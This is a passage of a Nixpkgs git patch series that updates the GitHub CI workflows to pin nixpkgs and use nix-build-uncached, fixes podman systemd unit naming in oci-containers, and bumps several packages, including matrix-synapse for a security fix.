         if: contains(matrix.builds, 'shell')
-        run: nix-build untrusted/ci -A shell
+        run: nix-build untrusted/ci --arg nixpkgs ./pinned -A shell
 
       - name: Build NixOS manual
         if: |
           contains(matrix.builds, 'manual-nixos') && !cancelled() &&
           contains(fromJSON(inputs.baseBranch).type, 'primary')
-        run: nix-build untrusted/ci -A manual-nixos --argstr system ${{ matrix.system }} --out-link nixos-manual
+        run: nix-build untrusted/ci --arg nixpkgs ./pinned -A manual-nixos --argstr system ${{ matrix.system }} --out-link nixos-manual
 
       - name: Build Nixpkgs manual
         if: contains(matrix.builds, 'manual-nixpkgs') && !cancelled()
-        run: nix-build untrusted/ci -A manual-nixpkgs -A manual-nixpkgs-tests
+        run: nix-build untrusted/ci --arg nixpkgs ./pinned -A manual-nixpkgs -A manual-nixpkgs-tests
 
       - name: Build Nixpkgs manual tests
         if: contains(matrix.builds, 'manual-nixpkgs-tests') && !cancelled()
-        run: nix-build untrusted/ci -A manual-nixpkgs-tests
+        run: nix-build untrusted/ci --arg nixpkgs ./pinned -A manual-nixpkgs-tests
 
       - name: Build lib tests
         if: contains(matrix.builds, 'lib-tests') && !cancelled()
-        run: nix-build untrusted/ci -A lib-tests
+        run: nix-build untrusted/ci --arg nixpkgs ./pinned -A lib-tests
 
       - name: Build tarball
         if: contains(matrix.builds, 'tarball') && !cancelled()
-        run: nix-build untrusted/ci -A tarball
+        run: nix-build untrusted/ci --arg nixpkgs ./pinned -A tarball
 
       - name: Upload NixOS manual
         if: |
diff --git a/.github/workflows/eval.yml b/.github/workflows/eval.yml
index 57e456fbfd37..dc9889545857 100644
--- a/.github/workflows/eval.yml
+++ b/.github/workflows/eval.yml
@@ -44,11 +44,15 @@ jobs:
           sudo mkswap /swap
           sudo swapon /swap
 
-      - name: Check out the PR at the test merge commit
-        uses: actions/checkout@08c6903cd8c0fde910a37f88322edcfb5dd907a8 # v5.0.0
+      - uses: actions/checkout@08c6903cd8c0fde910a37f88322edcfb5dd907a8 # v5.0.0
         with:
-          ref: ${{ inputs.mergedSha }}
-          path: untrusted
+          sparse-checkout: .github/actions
+      - name: Check out the PR at the test merge commit
+        uses: ./.github/actions/get-merge-commit
+        with:
+          mergedSha: ${{ inputs.mergedSha }}
+          merged-as-untrusted: true
+          pinnedFrom: untrusted
 
       - name: Install Nix
         uses: cachix/install-nix-action@fc6e360bedc9ee72d75e701397f0bb30dce77568 # v31
@@ -57,7 +61,7 @@ jobs:
         env:
           MATRIX_SYSTEM: ${{ matrix.system }}
         run: |
-          nix-build untrusted/ci -A eval.singleSystem \
+          nix-build untrusted/ci --arg nixpkgs ./pinned  -A eval.singleSystem \
             --argstr evalSystem "$MATRIX_SYSTEM" \
             --arg chunkSize 8000 \
             --out-link merged
@@ -135,7 +139,7 @@ jobs:
         env:
           MATRIX_SYSTEM: ${{ matrix.system }}
         run: |
-          nix-build untrusted/ci -A eval.diff \
+          nix-build untrusted/ci --arg nixpkgs ./pinned -A eval.diff \
             --arg beforeDir ./target \
             --arg afterDir "$(readlink ./merged)" \
             --argstr evalSystem "$MATRIX_SYSTEM" \
@@ -156,6 +160,16 @@ jobs:
       statuses: write
     timeout-minutes: 5
     steps:
+      - uses: actions/checkout@08c6903cd8c0fde910a37f88322edcfb5dd907a8 # v5.0.0
+        with:
+          sparse-checkout: .github/actions
+      - name: Check out the PR at the target commit
+        uses: ./.github/actions/get-merge-commit
+        with:
+          targetSha: ${{ inputs.targetSha }}
+          target-as-trusted: true
+          pinnedFrom: trusted
+
       - name: Download output paths and eval stats for all systems
         uses: actions/download-artifact@de96f4613b77ec03b5cf633e7c350c32bd3c5660 # v4.1.8
         with:
@@ -163,18 +177,12 @@ jobs:
           path: diff
           merge-multiple: true
 
-      - name: Check out the PR at the target commit
-        uses: actions/checkout@08c6903cd8c0fde910a37f88322edcfb5dd907a8 # v5.0.0
-        with:
-          ref: ${{ inputs.targetSha }}
-          path: trusted
-
       - name: Install Nix
         uses: cachix/install-nix-action@fc6e360bedc9ee72d75e701397f0bb30dce77568 # v31
 
       - name: Combine all output paths and eval stats
         run: |
-          nix-build trusted/ci -A eval.combine \
+          nix-build trusted/ci --arg nixpkgs ./pinned -A eval.combine \
             --arg diffDir ./diff \
             --out-link combined
 
@@ -187,7 +195,7 @@ jobs:
             | jq --raw-input --slurp 'split("\n")[:-1]' > touched-files.json
 
           # Use the target branch to get accurate maintainer info
-          nix-build trusted/ci -A eval.compare \
+          nix-build trusted/ci --arg nixpkgs ./pinned -A eval.compare \
             --arg combinedDir "$(realpath ./combined)" \
             --arg touchedFilesJson ./touched-files.json \
             --argstr githubAuthorId "$AUTHOR_ID" \
diff --git a/.github/workflows/lint.yml b/.github/workflows/lint.yml
index 62ff9832f3fb..44cb7fe7bada 100644
--- a/.github/workflows/lint.yml
+++ b/.github/workflows/lint.yml
@@ -29,6 +29,7 @@ jobs:
         with:
           mergedSha: ${{ inputs.mergedSha }}
           merged-as-untrusted: true
+          pinnedFrom: untrusted
 
       - uses: cachix/install-nix-action@fc6e360bedc9ee72d75e701397f0bb30dce77568 # v31
 
@@ -37,7 +38,7 @@ jobs:
           # Note that it's fine to run this on untrusted code because:
           # - There's no secrets accessible here
           # - The build is sandboxed
-          if ! nix-build untrusted/ci -A fmt.check; then
+          if ! nix-build untrusted/ci --arg nixpkgs ./pinned -A fmt.check; then
             echo "Some files are not properly formatted"
             echo "Please format them by going to the Nixpkgs root directory and running one of:"
             echo "  nix-shell --run treefmt"
@@ -60,13 +61,14 @@ jobs:
         with:
           mergedSha: ${{ inputs.mergedSha }}
           merged-as-untrusted: true
+          pinnedFrom: untrusted
 
       - uses: cachix/install-nix-action@fc6e360bedc9ee72d75e701397f0bb30dce77568 # v31
 
       - name: Parse all nix files
         run: |
           # Tests multiple versions at once, let's make sure all of them run, so keep-going.
-          nix-build untrusted/ci -A parse --keep-going
+          nix-build untrusted/ci --arg nixpkgs ./pinned -A parse --keep-going
 
   nixpkgs-vet:
     runs-on: ubuntu-24.04-arm
@@ -80,6 +82,7 @@ jobs:
         with:
           mergedSha: ${{ inputs.mergedSha }}
           merged-as-untrusted: true
+          pinnedFrom: untrusted
           targetSha: ${{ inputs.targetSha }}
           target-as-trusted: true
 
@@ -90,7 +93,7 @@ jobs:
           # Force terminal colors to be enabled. The library that `nixpkgs-vet` uses respects https://bixense.com/clicolors/
           CLICOLOR_FORCE: 1
         run: |
-          if nix-build untrusted/ci -A nixpkgs-vet --arg base "./trusted" --arg head "./untrusted"; then
+          if nix-build untrusted/ci --arg nixpkgs ./pinned -A nixpkgs-vet --arg base "./trusted" --arg head "./untrusted"; then
             exit 0
           else
             exitCode=$?
diff --git a/ci/default.nix b/ci/default.nix
index 727e591a90b8..603e11513aa7 100644
--- a/ci/default.nix
+++ b/ci/default.nix
@@ -121,8 +121,8 @@ rec {
   # CI jobs
   lib-tests = import ../lib/tests/release.nix { inherit pkgs; };
   manual-nixos = (import ../nixos/release.nix { }).manual.${system} or null;
-  manual-nixpkgs = (import ../doc { });
-  manual-nixpkgs-tests = (import ../doc { }).tests;
+  manual-nixpkgs = (import ../doc { inherit pkgs; });
+  manual-nixpkgs-tests = (import ../doc { inherit pkgs; }).tests;
   nixpkgs-vet = pkgs.callPackage ./nixpkgs-vet.nix { };
   parse = pkgs.lib.recurseIntoAttrs {
     latest = pkgs.callPackage ./parse.nix { nix = pkgs.nixVersions.latest; };

From 41315a269990c4f76afaf2eec42256d98c440ef1 Mon Sep 17 00:00:00 2001
From: Wolfgang Walther <walther@technowledgy.de>
Date: Mon, 11 Aug 2025 17:57:55 +0200
Subject: [PATCH 3426/4511] actions/get-merge-commit: bump actions/checkout to
 v5.0.0

A previous commit from Dependabot did this for all the workflows, but
Dependabot doesn't update the actions folder, apparently.

(cherry picked from commit 46d5594714851a0349d1628a1b0eb3cc0d69c1ad)
---
 .github/actions/get-merge-commit/action.yml | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/.github/actions/get-merge-commit/action.yml b/.github/actions/get-merge-commit/action.yml
index adbc060ae9af..041817bbb3c8 100644
--- a/.github/actions/get-merge-commit/action.yml
+++ b/.github/actions/get-merge-commit/action.yml
@@ -86,13 +86,13 @@ runs:
       # Would be great to do the checkouts in git worktrees of the existing spare checkout instead,
       # but Nix is broken with them:
       # https://github.com/NixOS/nix/issues/6073
-      uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683 # v4.2.2
+      uses: actions/checkout@08c6903cd8c0fde910a37f88322edcfb5dd907a8 # v5.0.0
       with:
         ref: ${{ inputs.mergedSha || steps.commits.outputs.mergedSha }}
         path: untrusted
 
     - if: inputs.target-as-trusted && (inputs.targetSha || steps.commits.outputs.targetSha)
-      uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683 # v4.2.2
+      uses: actions/checkout@08c6903cd8c0fde910a37f88322edcfb5dd907a8 # v5.0.0
       with:
         ref: ${{ inputs.targetSha || steps.commits.outputs.targetSha }}
         path: trusted

From fb86dcb57cc7227ccc99a386736fb370fbeb1b5e Mon Sep 17 00:00:00 2001
From: Wolfgang Walther <walther@technowledgy.de>
Date: Thu, 24 Jul 2025 10:16:17 +0200
Subject: [PATCH 3427/4511] workflows/build: avoid downloading from cachix

This avoids downloading results from cachix, when they don't need to be
rebuilt, which just wastes time and resources.

(cherry picked from commit f105ab12f66a5b69f533ccf304ccfc432fcb8374)
---
 .github/workflows/build.yml | 15 ++++++++-------
 1 file changed, 8 insertions(+), 7 deletions(-)

diff --git a/.github/workflows/build.yml b/.github/workflows/build.yml
index ff2477fec8f3..d9d0a4fb09ca 100644
--- a/.github/workflows/build.yml
+++ b/.github/workflows/build.yml
@@ -66,31 +66,33 @@ jobs:
           name: nixpkgs-ci
           authToken: "${{ secrets.CACHIX_AUTH_TOKEN }}"
 
+      - run: nix-env --install -f pinned -A nix-build-uncached
+
       - name: Build shell
         if: contains(matrix.builds, 'shell')
-        run: nix-build untrusted/ci --arg nixpkgs ./pinned -A shell
+        run: nix-build-uncached untrusted/ci --arg nixpkgs ./pinned -A shell
 
       - name: Build NixOS manual
         if: |
           contains(matrix.builds, 'manual-nixos') && !cancelled() &&
           contains(fromJSON(inputs.baseBranch).type, 'primary')
-        run: nix-build untrusted/ci --arg nixpkgs ./pinned -A manual-nixos --argstr system ${{ matrix.system }} --out-link nixos-manual
+        run: nix-build-uncached untrusted/ci --arg nixpkgs ./pinned -A manual-nixos --argstr system ${{ matrix.system }} --out-link nixos-manual
 
       - name: Build Nixpkgs manual
         if: contains(matrix.builds, 'manual-nixpkgs') && !cancelled()
-        run: nix-build untrusted/ci --arg nixpkgs ./pinned -A manual-nixpkgs -A manual-nixpkgs-tests
+        run: nix-build-uncached untrusted/ci --arg nixpkgs ./pinned -A manual-nixpkgs -A manual-nixpkgs-tests
 
       - name: Build Nixpkgs manual tests
         if: contains(matrix.builds, 'manual-nixpkgs-tests') && !cancelled()
-        run: nix-build untrusted/ci --arg nixpkgs ./pinned -A manual-nixpkgs-tests
+        run: nix-build-uncached untrusted/ci --arg nixpkgs ./pinned -A manual-nixpkgs-tests
 
       - name: Build lib tests
         if: contains(matrix.builds, 'lib-tests') && !cancelled()
-        run: nix-build untrusted/ci --arg nixpkgs ./pinned -A lib-tests
+        run: nix-build-uncached untrusted/ci --arg nixpkgs ./pinned -A lib-tests
 
       - name: Build tarball
         if: contains(matrix.builds, 'tarball') && !cancelled()
-        run: nix-build untrusted/ci --arg nixpkgs ./pinned -A tarball
+        run: nix-build-uncached untrusted/ci --arg nixpkgs ./pinned -A tarball
 
       - name: Upload NixOS manual
         if: |
@@ -100,4 +102,3 @@ jobs:
         with:
           name: nixos-manual-${{ matrix.system }}
           path: nixos-manual
-          if-no-files-found: error

From 52a04aef1706fbf5214de4957023284959b500b7 Mon Sep 17 00:00:00 2001
From: Wolfgang Walther <walther@technowledgy.de>
Date: Sun, 10 Aug 2025 16:46:28 +0200
Subject: [PATCH 3428/4511] workflows/build: build shells on a single darwin
 runner only

Because we have Rosetta, we can use a single darwin runner to build both
shells. Most time is spent for downloading Nix and checking out Nixpkgs
anyway and this can be saved if only run once.

Also, this prepares for the deprecation of the old macos-13 runners,
which were based on x86_64 CPUs in September 2025:
https://github.blog/changelog/2025-07-11-upcoming-changes-to-macos-hosted-runners-macos-latest-migration-and-xcode-support-policy-updates/

(cherry picked from commit 56d29bbae176e0ce3f5e60292c8fc31fa0aee1e5)
---
 .github/workflows/build.yml | 21 ++++++++++-----------
 1 file changed, 10 insertions(+), 11 deletions(-)

diff --git a/.github/workflows/build.yml b/.github/workflows/build.yml
index d9d0a4fb09ca..ef3c71ca4fbe 100644
--- a/.github/workflows/build.yml
+++ b/.github/workflows/build.yml
@@ -26,22 +26,21 @@ jobs:
       matrix:
         include:
           - runner: ubuntu-24.04
-            system: x86_64-linux
+            name: x86_64-linux
+            systems: x86_64-linux
             builds: [shell, manual-nixos, lib-tests, tarball]
             desc: shell, docs, lib, tarball
           - runner: ubuntu-24.04-arm
-            system: aarch64-linux
+            name: aarch64-linux
+            systems: aarch64-linux
             builds: [shell, manual-nixos, manual-nixpkgs, manual-nixpkgs-tests]
             desc: shell, docs
-          - runner: macos-13
-            system: x86_64-darwin
-            builds: [shell]
-            desc: shell
           - runner: macos-14
-            system: aarch64-darwin
+            name: darwin
+            systems: aarch64-darwin x86_64-darwin
             builds: [shell]
             desc: shell
-    name: '${{ matrix.system }}: ${{ matrix.desc }}'
+    name: '${{ matrix.name }}: ${{ matrix.desc }}'
     runs-on: ${{ matrix.runner }}
     timeout-minutes: 60
     steps:
@@ -70,13 +69,13 @@ jobs:
 
       - name: Build shell
         if: contains(matrix.builds, 'shell')
-        run: nix-build-uncached untrusted/ci --arg nixpkgs ./pinned -A shell
+        run: echo "${{ matrix.systems }}" | xargs -n1 nix-build-uncached untrusted/ci --arg nixpkgs ./pinned -A shell --argstr system
 
       - name: Build NixOS manual
         if: |
           contains(matrix.builds, 'manual-nixos') && !cancelled() &&
           contains(fromJSON(inputs.baseBranch).type, 'primary')
-        run: nix-build-uncached untrusted/ci --arg nixpkgs ./pinned -A manual-nixos --argstr system ${{ matrix.system }} --out-link nixos-manual
+        run: nix-build-uncached untrusted/ci --arg nixpkgs ./pinned -A manual-nixos --out-link nixos-manual
 
       - name: Build Nixpkgs manual
         if: contains(matrix.builds, 'manual-nixpkgs') && !cancelled()
@@ -100,5 +99,5 @@ jobs:
           contains(fromJSON(inputs.baseBranch).type, 'primary')
         uses: actions/upload-artifact@ea165f8d65b6e75b540449e92b4886f43607fa02 # v4.6.2
         with:
-          name: nixos-manual-${{ matrix.system }}
+          name: nixos-manual-${{ matrix.name }}
           path: nixos-manual

From 8409a094b354ce55fe61beef68bdc11d27eae1a4 Mon Sep 17 00:00:00 2001
From: Yethal <26117918+Yethal@users.noreply.github.com>
Date: Mon, 4 Aug 2025 10:01:24 +0200
Subject: [PATCH 3429/4511] virtualisation/oci-containers: fix podman systemd
 service name

(cherry picked from commit 68710f4064b6437e25121538cea6c7f221536d25)
---
 nixos/modules/virtualisation/oci-containers.nix | 14 +++++++-------
 nixos/tests/oci-containers.nix                  | 12 +++++++++---
 2 files changed, 16 insertions(+), 10 deletions(-)

diff --git a/nixos/modules/virtualisation/oci-containers.nix b/nixos/modules/virtualisation/oci-containers.nix
index ef1dc1a90da6..34f7da647e65 100644
--- a/nixos/modules/virtualisation/oci-containers.nix
+++ b/nixos/modules/virtualisation/oci-containers.nix
@@ -193,11 +193,9 @@ let
             Refer to the
             [Docker engine documentation](https://docs.docker.com/engine/network/#published-ports) for full details.
           '';
-          example = literalExpression ''
-            [
-              "127.0.0.1:8080:9000"
-            ]
-          '';
+          example = [
+            "127.0.0.1:8080:9000"
+          ];
         };
 
         user = mkOption {
@@ -405,7 +403,9 @@ let
   mkService =
     name: container:
     let
-      dependsOn = map (x: "${cfg.backend}-${x}.service") container.dependsOn;
+      dependsOn = lib.attrsets.mapAttrsToList (k: v: "${v.serviceName}.service") (
+        lib.attrsets.getAttrs container.dependsOn cfg.containers
+      );
       escapedName = escapeShellArg name;
       preStartScript = pkgs.writeShellApplication {
         name = "pre-start";
@@ -557,7 +557,7 @@ let
         Restart = "always";
       }
       // optionalAttrs (cfg.backend == "podman") {
-        Environment = "PODMAN_SYSTEMD_UNIT=podman-${name}.service";
+        Environment = "PODMAN_SYSTEMD_UNIT=%n";
         Type = "notify";
         NotifyAccess = "all";
         Delegate = mkIf (container.podman.sdnotify == "healthy") true;
diff --git a/nixos/tests/oci-containers.nix b/nixos/tests/oci-containers.nix
index a22bd9c6b431..d50a8c44aaa4 100644
--- a/nixos/tests/oci-containers.nix
+++ b/nixos/tests/oci-containers.nix
@@ -9,6 +9,8 @@ let
 
   inherit (import ../lib/testing-python.nix { inherit system pkgs; }) makeTest;
 
+  serviceName = "nginxtest"; # different on purpose to verify proper systemd unit generation
+
   mkOCITest =
     backend:
     makeTest {
@@ -23,6 +25,7 @@ let
             virtualisation.oci-containers = {
               inherit backend;
               containers.nginx = {
+                inherit serviceName;
                 image = "nginx-container";
                 imageStream = pkgs.dockerTools.examples.nginxStream;
                 ports = [ "8181:80" ];
@@ -39,7 +42,7 @@ let
 
             # Stop systemd from killing remaining processes if ExecStop script
             # doesn't work, so that proper stopping can be tested.
-            systemd.services."${backend}-nginx".serviceConfig.KillSignal = "SIGCONT";
+            systemd.services.${serviceName}.serviceConfig.KillSignal = "SIGCONT";
           };
       };
 
@@ -47,11 +50,11 @@ let
         import json
 
         start_all()
-        ${backend}.wait_for_unit("${backend}-nginx.service")
+        ${backend}.wait_for_unit("${serviceName}.service")
         ${backend}.wait_for_open_port(8181)
         ${backend}.wait_until_succeeds("curl -f http://localhost:8181 | grep Hello")
         output = json.loads(${backend}.succeed("${backend} inspect nginx --format json").strip())[0]
-        ${backend}.succeed("systemctl stop ${backend}-nginx.service", timeout=10)
+        ${backend}.succeed("systemctl stop ${serviceName}.service", timeout=10)
         assert output['HostConfig']['CapAdd'] == ["CAP_AUDIT_READ"]
         assert output['HostConfig']['CapDrop'] == ${
           if backend == "docker" then "[\"CAP_AUDIT_WRITE\"]" else "[]"
@@ -60,6 +63,9 @@ let
         assert output['HostConfig']['Devices'] == [{'PathOnHost': '/dev/random', 'PathInContainer': '/dev/random', 'CgroupPermissions': '${
           if backend == "docker" then "rwm" else ""
         }'}]
+      ''
+      + lib.strings.optionalString (backend == "podman") ''
+        assert output['Config']['Labels']['PODMAN_SYSTEMD_UNIT'] == '${serviceName}.service'
       '';
     };
 

From 620be2770c8326b719da53793714deaad0ea5a16 Mon Sep 17 00:00:00 2001
From: teutat3s <10206665+teutat3s@users.noreply.github.com>
Date: Wed, 5 Feb 2025 20:42:42 -0300
Subject: [PATCH 3430/4511] matrix-authentication-service: use
 substituteInPlace

--replace-fail, substituteInPlace --replace is deprecated

(cherry picked from commit 733428167d00568cd8f98731c26e5dcba4df23cf)
---
 .../ma/matrix-authentication-service/package.nix       | 10 +++++-----
 1 file changed, 5 insertions(+), 5 deletions(-)

diff --git a/pkgs/by-name/ma/matrix-authentication-service/package.nix b/pkgs/by-name/ma/matrix-authentication-service/package.nix
index 960872c56d4b..bded0170909e 100644
--- a/pkgs/by-name/ma/matrix-authentication-service/package.nix
+++ b/pkgs/by-name/ma/matrix-authentication-service/package.nix
@@ -63,13 +63,13 @@ rustPlatform.buildRustPackage (finalAttrs: {
 
   postPatch = ''
     substituteInPlace crates/config/src/sections/http.rs \
-      --replace ./frontend/dist/    "$out/share/$pname/assets/"
+      --replace-fail ./frontend/dist/    "$out/share/$pname/assets/"
     substituteInPlace crates/config/src/sections/templates.rs \
-      --replace ./share/templates/    "$out/share/$pname/templates/" \
-      --replace ./share/translations/    "$out/share/$pname/translations/" \
-      --replace ./share/manifest.json "$out/share/$pname/assets/manifest.json"
+      --replace-fail ./share/templates/    "$out/share/$pname/templates/" \
+      --replace-fail ./share/translations/    "$out/share/$pname/translations/" \
+      --replace-fail ./share/manifest.json "$out/share/$pname/assets/manifest.json"
     substituteInPlace crates/config/src/sections/policy.rs \
-      --replace ./share/policy.wasm "$out/share/$pname/policy.wasm"
+      --replace-fail ./share/policy.wasm "$out/share/$pname/policy.wasm"
   '';
 
   preBuild = ''

From f50363b8bcf5cb529e6754485d56360b45fb53d5 Mon Sep 17 00:00:00 2001
From: emilylange <git@emilylange.de>
Date: Sun, 10 Aug 2025 20:48:17 +0200
Subject: [PATCH 3431/4511] matrix-authentication-service: fix
 `http_listener_assets_path_default()`

to point to `$out/share/$pname/assets/` instead of `./share/assets/`.

This allows one to omit `path =` in

~~~nix
{
  http.listeners = [{
    resources = [{
      name = "assets";
      path = "${pkgs.matrix-authentication-service}/share/matrix-authentication-service/assets";
    }];
  }];
}
~~~

so it looks like

~~~nix
{
  http.listeners = [{
    resources = [
      { name = "assets"; }
    ];
  }];
}
~~~

The cause for this was probably just a typo, as we replaced the string
in `#[cfg(not(any(feature = "docker", feature = "dist")))]` despite
building with `#[cfg(feature = "dist")]`.

See https://github.com/element-hq/matrix-authentication-service/blob/v0.20.0/crates/config/src/sections/http.rs#L39-L52

(cherry picked from commit 0387f7cba4d9d2cc1993cc79b1da5750403d555c)
---
 pkgs/by-name/ma/matrix-authentication-service/package.nix | 5 +++--
 1 file changed, 3 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/ma/matrix-authentication-service/package.nix b/pkgs/by-name/ma/matrix-authentication-service/package.nix
index bded0170909e..099144d40e4a 100644
--- a/pkgs/by-name/ma/matrix-authentication-service/package.nix
+++ b/pkgs/by-name/ma/matrix-authentication-service/package.nix
@@ -63,7 +63,7 @@ rustPlatform.buildRustPackage (finalAttrs: {
 
   postPatch = ''
     substituteInPlace crates/config/src/sections/http.rs \
-      --replace-fail ./frontend/dist/    "$out/share/$pname/assets/"
+      --replace-fail ./share/assets/    "$out/share/$pname/assets/"
     substituteInPlace crates/config/src/sections/templates.rs \
       --replace-fail ./share/templates/    "$out/share/$pname/templates/" \
       --replace-fail ./share/translations/    "$out/share/$pname/translations/" \
@@ -77,9 +77,10 @@ rustPlatform.buildRustPackage (finalAttrs: {
     (cd "$npmRoot" && npm run build)
   '';
 
-  # Adopted from https://github.com/element-hq/matrix-authentication-service/blob/main/Dockerfile
+  # Adapted from https://github.com/element-hq/matrix-authentication-service/blob/v0.20.0/.github/workflows/build.yaml#L75-L84
   postInstall = ''
     install -Dm444 -t "$out/share/$pname"        "policies/policy.wasm"
+    install -Dm444 -t "$out/share/$pname"        "$npmRoot/dist/manifest.json"
     install -Dm444 -t "$out/share/$pname/assets" "$npmRoot/dist/"*
     cp -r templates   "$out/share/$pname/templates"
     cp -r translations   "$out/share/$pname/translations"

From f8822432d9b5f1c3e1ec84b6b6fee5126b964b8c Mon Sep 17 00:00:00 2001
From: Yureka <yureka@cyberchaos.dev>
Date: Mon, 11 Aug 2025 19:34:07 +0200
Subject: [PATCH 3432/4511] matrix-synapse: 1.135.0 -> 1.135.2

Diff: https://github.com/element-hq/synapse/compare/v1.135.0...v1.135.2
Changelog: https://github.com/element-hq/synapse/releases/tag/v1.135.2
Fixes: CVE-2025-49090
(cherry picked from commit fdb0eabc095eaea147e3ed5e7b3f3499d58f08e0)
---
 pkgs/by-name/ma/matrix-synapse-unwrapped/package.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/ma/matrix-synapse-unwrapped/package.nix b/pkgs/by-name/ma/matrix-synapse-unwrapped/package.nix
index 754981730432..49f6da5ddfc1 100644
--- a/pkgs/by-name/ma/matrix-synapse-unwrapped/package.nix
+++ b/pkgs/by-name/ma/matrix-synapse-unwrapped/package.nix
@@ -17,14 +17,14 @@ let
 in
 python3.pkgs.buildPythonApplication rec {
   pname = "matrix-synapse";
-  version = "1.135.0";
+  version = "1.135.2";
   format = "pyproject";
 
   src = fetchFromGitHub {
     owner = "element-hq";
     repo = "synapse";
     rev = "v${version}";
-    hash = "sha256-ygLWjI6HzBMTPDhEmf1rT18UhoRekzpG8DkeZXo2dts=";
+    hash = "sha256-4HAA9Xq4C3DHxz0BgqBitfM4wZwPSEu+IO/OPfHzLVw=";
   };
 
   cargoDeps = rustPlatform.fetchCargoVendor {

From c476580515177e9b7221f22dbdb98ade8542f005 Mon Sep 17 00:00:00 2001
From: teutat3s <10206665+teutat3s@users.noreply.github.com>
Date: Mon, 11 Aug 2025 19:02:35 +0200
Subject: [PATCH 3433/4511] element-desktop: 1.11.108 -> 1.11.109

Release notes: https://github.com/element-hq/element-desktop/releases/tag/v1.11.109
Full changelog: https://github.com/element-hq/element-desktop/compare/v1.11.108...v1.11.109

(cherry picked from commit 1a016b8985359291f9e9c51358f34c75ffd4ca83)
---
 pkgs/by-name/el/element-desktop/element-desktop-pin.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/el/element-desktop/element-desktop-pin.nix b/pkgs/by-name/el/element-desktop/element-desktop-pin.nix
index 862c871763c6..46a95689ea60 100644
--- a/pkgs/by-name/el/element-desktop/element-desktop-pin.nix
+++ b/pkgs/by-name/el/element-desktop/element-desktop-pin.nix
@@ -1,7 +1,7 @@
 {
-  "version" = "1.11.108";
+  "version" = "1.11.109";
   "hashes" = {
-    "desktopSrcHash" = "sha256-7qG2QyOgq2ATyXsr5jLxngxXvVaw52GYOD1LiUCGNNo=";
-    "desktopYarnHash" = "sha256-QLsKY0tDeY5dp6VLiPZhawa54SI2/A0W6UE0NoJ5dng=";
+    "desktopSrcHash" = "sha256-4M+1wOwyMVRdzXpgdBi9Fi4WM7MMypDHAOcifk3iejI=";
+    "desktopYarnHash" = "sha256-uff/bOv3Gs/fNk9oPbE0X7EjftrIr7p/wSLgv8SDzkg=";
   };
 }

From 5d26a491ffd9b49a40f4e026ca4f53f312f19d93 Mon Sep 17 00:00:00 2001
From: teutat3s <10206665+teutat3s@users.noreply.github.com>
Date: Mon, 11 Aug 2025 19:03:52 +0200
Subject: [PATCH 3434/4511] element-web-unwrapped: 1.11.108 -> 1.11.109

Release notes: https://github.com/element-hq/element-web/releases/tag/v1.11.109
Full changelog: https://github.com/element-hq/element-web/compare/v1.11.108...v1.11.109

(cherry picked from commit 4613715b66c72e70d6d1120f2fc5a1d5e5ac04c2)
---
 pkgs/by-name/el/element-web-unwrapped/element-web-pin.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/el/element-web-unwrapped/element-web-pin.nix b/pkgs/by-name/el/element-web-unwrapped/element-web-pin.nix
index f57ddb856fa5..6df28701db00 100644
--- a/pkgs/by-name/el/element-web-unwrapped/element-web-pin.nix
+++ b/pkgs/by-name/el/element-web-unwrapped/element-web-pin.nix
@@ -1,7 +1,7 @@
 {
-  "version" = "1.11.108";
+  "version" = "1.11.109";
   "hashes" = {
-    "webSrcHash" = "sha256-2QNRygyyXMvHHSfd9CCusOQ5v/udOwrOdmnrSsatylI=";
-    "webYarnHash" = "sha256-JkXbGRanW+rRgQCVv8sCTzogHR5NKgesw/l166U1h9k=";
+    "webSrcHash" = "sha256-TTpaRMSi5YX95ZwfQA0XVLO52oPCu9VU0+dVylEQwhU=";
+    "webYarnHash" = "sha256-9HU2k6EX8v3JfPt8HYlLuSnkt7Y12f6AiNXB2e0lDWM=";
   };
 }

From 6c1a96bac08c8d265f8c79be6f0c7ecf3a2bb3f7 Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Fri, 8 Aug 2025 16:49:37 +0000
Subject: [PATCH 3435/4511] easycrypt: 2025.03 -> 2025.08

(cherry picked from commit e1e49992a90651e041d5ea767b8536b75ec6715f)
---
 pkgs/applications/science/logic/easycrypt/default.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/applications/science/logic/easycrypt/default.nix b/pkgs/applications/science/logic/easycrypt/default.nix
index 8f349b5dd174..629d5faea395 100644
--- a/pkgs/applications/science/logic/easycrypt/default.nix
+++ b/pkgs/applications/science/logic/easycrypt/default.nix
@@ -10,13 +10,13 @@
 
 stdenv.mkDerivation rec {
   pname = "easycrypt";
-  version = "2025.03";
+  version = "2025.08";
 
   src = fetchFromGitHub {
     owner = pname;
     repo = pname;
     tag = "r${version}";
-    hash = "sha256-Z6JaqR0BocEhDuof929HOvzWu6C77CAqeuYYY2PXvrs=";
+    hash = "sha256-WUms6hh7T5/gxRLFvbJQiT1ErLr8KFilFNOMTT/fIyY=";
   };
 
   nativeBuildInputs =

From bfdd7206eb81a204ba9de4962bc62997325233fe Mon Sep 17 00:00:00 2001
From: Weijia Wang <9713184+wegank@users.noreply.github.com>
Date: Fri, 11 Jul 2025 22:49:44 -0500
Subject: [PATCH 3436/4511] julia_111-bin: 1.11.5 -> 1.11.6

(cherry picked from commit 2cc3ecba0159e49e7f8bd94d159b872b2d80aa15)
---
 pkgs/development/compilers/julia/default.nix | 10 +++++-----
 1 file changed, 5 insertions(+), 5 deletions(-)

diff --git a/pkgs/development/compilers/julia/default.nix b/pkgs/development/compilers/julia/default.nix
index 0463248e0a7f..77311f5e76bc 100644
--- a/pkgs/development/compilers/julia/default.nix
+++ b/pkgs/development/compilers/julia/default.nix
@@ -42,12 +42,12 @@ in
   );
   julia_111-bin = wrapJulia (
     callPackage (import ./generic-bin.nix {
-      version = "1.11.5";
+      version = "1.11.6";
       sha256 = {
-        x86_64-linux = "723e878c642220cc0251a0e13758c059a389cadc7f01376feaf1ea7388fe8f9c";
-        aarch64-linux = "f63203574fba25c9bda5e98b2f87f985d4672109855633a46bae32bfba3cbc0d";
